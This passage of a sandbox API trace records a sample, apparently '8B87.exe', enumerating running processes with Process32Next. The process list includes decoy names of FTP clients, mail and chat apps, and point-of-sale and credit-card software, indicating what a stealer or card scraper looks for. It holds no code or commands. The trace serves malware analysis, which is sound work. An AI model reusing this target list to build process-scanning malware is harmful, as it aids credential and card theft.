cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.204] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.206] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0279.208] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0279.245] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0279.247] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0279.249] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0279.251] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0279.253] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0279.255] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.260] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.262] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0279.264] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.267] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0279.269] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0279.271] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0279.273] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0279.275] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0279.278] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0279.280] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0279.282] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0279.283] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0279.285] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0279.287] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0279.289] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0279.291] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0279.293] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0279.294] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0279.296] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0279.298] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0279.300] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0279.302] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0279.304] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0279.305] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0279.307] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0279.309] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0279.311] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0279.314] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0279.316] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0279.318] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0279.321] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0279.323] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0279.325] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0279.328] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0279.330] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0279.333] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0279.335] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0279.338] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0279.341] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0279.343] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0279.345] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0279.348] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0279.381] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0279.394] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0279.397] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0279.400] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0279.402] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0279.406] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0279.408] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0279.411] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0279.413] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0279.416] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0279.418] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0279.421] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0279.423] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0279.425] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0279.428] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0279.430] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0279.432] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0279.434] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0279.436] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0279.438] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0279.440] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0279.443] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0279.445] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0279.447] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0279.449] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.451] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0279.453] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0279.455] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.457] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0279.460] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0279.461] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 